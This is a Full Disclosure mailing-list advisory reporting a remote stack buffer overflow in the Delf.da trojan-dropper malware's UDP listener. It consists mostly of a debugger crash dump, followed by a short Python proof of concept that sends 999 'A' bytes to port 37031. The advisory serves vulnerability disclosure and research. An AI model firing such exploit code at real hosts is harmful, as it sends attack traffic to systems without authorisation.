Message-ID: <CAAHK0WRraD5WyvF1FQ__k+mCev70Xs_91thMuaKQ6d97U3FgqA@mail.gmail.com>
Date: Fri, 19 Mar 2021 21:49:08 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Dropper.Win32.Delf.da / Remote Stack Buffer Overflow
	(UDP Datagram)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/a2f1adfd7a35fd0e0207a24be169b4c1.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Delf.da
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: Delf.da malware listens on UDP port 37031. Adversaries who can
reach the infected system can send a payload of just 999 bytes and trigger
a classic stack buffer overflow. This will overwrite ECX and EIP stack
registers potentially allowing control of the malwares execution flow.
Type: PE32
MD5: a2f1adfd7a35fd0e0207a24be169b4c1
Vuln ID: MVID-2021-0137
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/19/2021

Memory Dump:
(fc8.564): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77129d70 esi=00000000
edi=00000000
eip=41414141 esp=000a1430 ebp=000a1450 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???


0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe
*** ERROR: Module load completed but symbols could not be loaded for
Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe

FAULTING_IP:
Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+2853
00402853 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  0019f7c0 -- (.exr 0x19f7c0)
ExceptionAddress: 00402853
(Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+0x00002853)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME:
 Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+2853
00402853 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

FAILED_INSTRUCTION_ADDRESS:
+2853
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's
rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which
may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019f810 -- (.cxr 0x19f810)
eax=000003e7 ebx=042fcb10 ecx=0000002b edx=0019fcc6 esi=042fce6c
edi=0019fffe
eip=00402853 esp=0019fc70 ebp=0019fc80 iopl=0         nv up ei pl nz na pe
cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010207
Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+0x2853:
00402853 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 004ae449 to 00402853

STACK_TEXT:
0019fc70 00402853 trojan_dropper_win32_delf_da+0x2853
0019fc88 004ae449 trojan_dropper_win32_delf_da+0xae449
0019fcf8 41414141 unknown!printable+0x0
0019fcfc 41414141 unknown!printable+0x0
0019fd00 41414141 unknown!printable+0x0
0019fd04 41414141 unknown!printable+0x0
0019fd08 41414141 unknown!printable+0x0
0019fd0c 41414141 unknown!printable+0x0
0019fd10 41414141 unknown!printable+0x0
0019fd14 41414141 unknown!printable+0x0
0019fd18 41414141 unknown!printable+0x0
0019fd1c 41414141 unknown!printable+0x0
0019fd20 41414141 unknown!printable+0x0
0019fd24 41414141 unknown!printable+0x0
0019fd28 41414141 unknown!printable+0x0
0019fd2c 41414141 unknown!printable+0x0
0019fd30 41414141 unknown!printable+0x0
0019fd34 41414141 unknown!printable+0x0
0019fd38 41414141 unknown!printable+0x0
0019fd3c 41414141 unknown!printable+0x0
0019fd40 41414141 unknown!printable+0x0
0019fd44 41414141 unknown!printable+0x0
0019fd48 41414141 unknown!printable+0x0
0019fd4c 41414141 unknown!printable+0x0
0019fd50 41414141 unknown!printable+0x0
0019fd54 41414141 unknown!printable+0x0
0019fd58 41414141 unknown!printable+0x0
0019fd5c 41414141 unknown!printable+0x0
0019fd60 41414141 unknown!printable+0x0
0019fd64 41414141 unknown!printable+0x0
0019fd68 41414141 unknown!printable+0x0
0019fd6c 41414141 unknown!printable+0x0
0019fd70 41414141 unknown!printable+0x0
0019fd74 41414141 unknown!printable+0x0
0019fd78 41414141 unknown!printable+0x0
0019fd7c 41414141 unknown!printable+0x0
0019fd80 41414141 unknown!printable+0x0
0019fd84 41414141 unknown!printable+0x0
0019fd88 41414141 unknown!printable+0x0
0019fd8c 41414141 unknown!printable+0x0
0019fd90 41414141 unknown!printable+0x0
0019fd94 41414141 unknown!printable+0x0
0019fd98 41414141 unknown!printable+0x0
0019fd9c 41414141 unknown!printable+0x0
0019fda0 41414141 unknown!printable+0x0
0019fda4 41414141 unknown!printable+0x0
0019fda8 41414141 unknown!printable+0x0
0019fdac 41414141 unknown!printable+0x0
0019fdb0 41414141 unknown!printable+0x0
0019fdb4 41414141 unknown!printable+0x0
0019fdb8 41414141 unknown!printable+0x0
0019fdbc 41414141 unknown!printable+0x0
0019fdc0 41414141 unknown!printable+0x0
0019fdc4 41414141 unknown!printable+0x0
0019fdc8 41414141 unknown!printable+0x0
0019fdcc 41414141 unknown!printable+0x0
0019fdd0 41414141 unknown!printable+0x0
0019fdd4 41414141 unknown!printable+0x0
0019fdd8 41414141 unknown!printable+0x0
0019fddc 41414141 unknown!printable+0x0
0019fde0 41414141 unknown!printable+0x0
0019fde4 41414141 unknown!printable+0x0
0019fde8 41414141 unknown!printable+0x0
0019fdec 41414141 unknown!printable+0x0
0019fdf0 41414141 unknown!printable+0x0
0019fdf4 41414141 unknown!printable+0x0
0019fdf8 41414141 unknown!printable+0x0
0019fdfc 41414141 unknown!printable+0x0
0019fe00 41414141 unknown!printable+0x0
0019fe04 41414141 unknown!printable+0x0
0019fe08 41414141 unknown!printable+0x0
0019fe0c 41414141 unknown!printable+0x0
0019fe10 41414141 unknown!printable+0x0
0019fe14 41414141 unknown!printable+0x0
0019fe18 41414141 unknown!printable+0x0
0019fe1c 41414141 unknown!printable+0x0
0019fe20 41414141 unknown!printable+0x0
0019fe24 41414141 unknown!printable+0x0
0019fe28 41414141 unknown!printable+0x0
0019fe2c 41414141 unknown!printable+0x0
0019fe30 41414141 unknown!printable+0x0
0019fe34 41414141 unknown!printable+0x0
0019fe38 41414141 unknown!printable+0x0
0019fe3c 41414141 unknown!printable+0x0
0019fe40 41414141 unknown!printable+0x0
0019fe44 41414141 unknown!printable+0x0
0019fe48 41414141 unknown!printable+0x0
0019fe4c 41414141 unknown!printable+0x0
0019fe50 41414141 unknown!printable+0x0
0019fe54 41414141 unknown!printable+0x0
0019fe58 41414141 unknown!printable+0x0
0019fe5c 41414141 unknown!printable+0x0
0019fe60 41414141 unknown!printable+0x0
0019fe64 41414141 unknown!printable+0x0
0019fe68 41414141 unknown!printable+0x0
0019fe6c 41414141 unknown!printable+0x0
0019fe70 41414141 unknown!printable+0x0
0019fe74 41414141 unknown!printable+0x0
0019fe78 41414141 unknown!printable+0x0
0019fe7c 41414141 unknown!printable+0x0
0019fe80 41414141 unknown!printable+0x0
0019fe84 41414141 unknown!printable+0x0
0019fe88 41414141 unknown!printable+0x0
0019fe8c 41414141 unknown!printable+0x0
0019fe90 41414141 unknown!printable+0x0
0019fe94 41414141 unknown!printable+0x0
0019fe98 41414141 unknown!printable+0x0
0019fe9c 41414141 unknown!printable+0x0
0019fea0 41414141 unknown!printable+0x0
0019fea4 41414141 unknown!printable+0x0
0019fea8 41414141 unknown!printable+0x0
0019feac 41414141 unknown!printable+0x0
0019feb0 41414141 unknown!printable+0x0
0019feb4 41414141 unknown!printable+0x0
0019feb8 41414141 unknown!printable+0x0
0019febc 41414141 unknown!printable+0x0
0019fec0 41414141 unknown!printable+0x0
0019fec4 41414141 unknown!printable+0x0
0019fec8 41414141 unknown!printable+0x0
0019fecc 41414141 unknown!printable+0x0
0019fed0 41414141 unknown!printable+0x0
0019fed4 41414141 unknown!printable+0x0
0019fed8 41414141 unknown!printable+0x0
0019fedc 41414141 unknown!printable+0x0
0019fee0 41414141 unknown!printable+0x0
0019fee4 41414141 unknown!printable+0x0
0019fee8 41414141 unknown!printable+0x0
0019feec 41414141 unknown!printable+0x0
0019fef0 41414141 unknown!printable+0x0
0019fef4 41414141 unknown!printable+0x0
0019fef8 41414141 unknown!printable+0x0
0019fefc 41414141 unknown!printable+0x0
0019ff00 41414141 unknown!printable+0x0
0019ff04 41414141 unknown!printable+0x0
0019ff08 41414141 unknown!printable+0x0
0019ff0c 41414141 unknown!printable+0x0
0019ff10 41414141 unknown!printable+0x0
0019ff14 41414141 unknown!printable+0x0
0019ff18 41414141 unknown!printable+0x0
0019ff1c 41414141 unknown!printable+0x0
0019ff20 41414141 unknown!printable+0x0
0019ff24 41414141 unknown!printable+0x0
0019ff28 41414141 unknown!printable+0x0
0019ff2c 41414141 unknown!printable+0x0
0019ff30 41414141 unknown!printable+0x0
0019ff34 41414141 unknown!printable+0x0
0019ff38 41414141 unknown!printable+0x0
0019ff3c 41414141 unknown!printable+0x0
0019ff40 41414141 unknown!printable+0x0
0019ff44 41414141 unknown!printable+0x0
0019ff48 41414141 unknown!printable+0x0
0019ff4c 41414141 unknown!printable+0x0
0019ff50 41414141 unknown!printable+0x0
0019ff54 41414141 unknown!printable+0x0
0019ff58 41414141 unknown!printable+0x0
0019ff5c 41414141 unknown!printable+0x0
0019ff60 41414141 unknown!printable+0x0
0019ff64 41414141 unknown!printable+0x0
0019ff68 41414141 unknown!printable+0x0
0019ff6c 41414141 unknown!printable+0x0
0019ff70 41414141 unknown!printable+0x0
0019ff74 41414141 unknown!printable+0x0
0019ff78 41414141 unknown!printable+0x0
0019ff7c 41414141 unknown!printable+0x0
0019ff80 41414141 unknown!printable+0x0
0019ff84 41414141 unknown!printable+0x0
0019ff88 41414141 unknown!printable+0x0
0019ff8c 41414141 unknown!printable+0x0
0019ff90 41414141 unknown!printable+0x0
0019ff94 41414141 unknown!printable+0x0
0019ff98 41414141 unknown!printable+0x0
0019ff9c 41414141 unknown!printable+0x0
0019ffa0 41414141 unknown!printable+0x0
0019ffa4 41414141 unknown!printable+0x0
0019ffa8 41414141 unknown!printable+0x0
0019ffac 41414141 unknown!printable+0x0
0019ffb0 41414141 unknown!printable+0x0
0019ffb4 41414141 unknown!printable+0x0
0019ffb8 41414141 unknown!printable+0x0
0019ffbc 41414141 unknown!printable+0x0
0019ffc0 41414141 unknown!printable+0x0
0019ffc4 41414141 unknown!printable+0x0
0019ffc8 41414141 unknown!printable+0x0
0019ffcc 41414141 unknown!printable+0x0
0019ffd0 41414141 unknown!printable+0x0
0019ffd4 41414141 unknown!printable+0x0
0019ffd8 41414141 unknown!printable+0x0
0019ffdc 41414141 unknown!printable+0x0
0019ffe0 41414141 unknown!printable+0x0
0019ffe4 41414141 unknown!printable+0x0
0019ffe8 41414141 unknown!printable+0x0
0019ffec 41414141 unknown!printable+0x0
0019fff0 41414141 unknown!printable+0x0
0019fff4 41414141 unknown!printable+0x0
0019fff8 41414141 unknown!printable+0x0
0019fffc 41414141 unknown!printable+0x0


STACK_COMMAND:  .cxr 000000000019F810 ; kb ; dt
ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds
19fc70 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  trojan_dropper_win32_delf_da+2853

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1

IMAGE_NAME:
 Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

BUCKET_ID:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_trojan_dropper_win32_delf_da+2853

FAILURE_BUCKET_ID:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe!Unknown



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=37031

def doit():

    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*999

    s.send(PAYLOAD)
    s.close()

    print("Trojan-Dropper.Win32.Delf.da / Remote Stack Buffer Overflow
(UDP)")
    print("MD5: a2f1adfd7a35fd0e0207a24be169b4c1")
    print("Malvuln")


if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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